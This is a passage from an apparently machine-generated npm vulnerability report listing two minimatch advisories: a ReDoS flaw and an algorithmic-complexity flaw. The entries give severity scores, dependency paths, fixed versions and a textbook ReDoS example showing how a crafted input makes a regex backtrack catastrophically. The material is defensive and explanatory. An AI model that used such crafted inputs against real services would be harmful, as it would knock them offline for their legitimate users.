"2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression 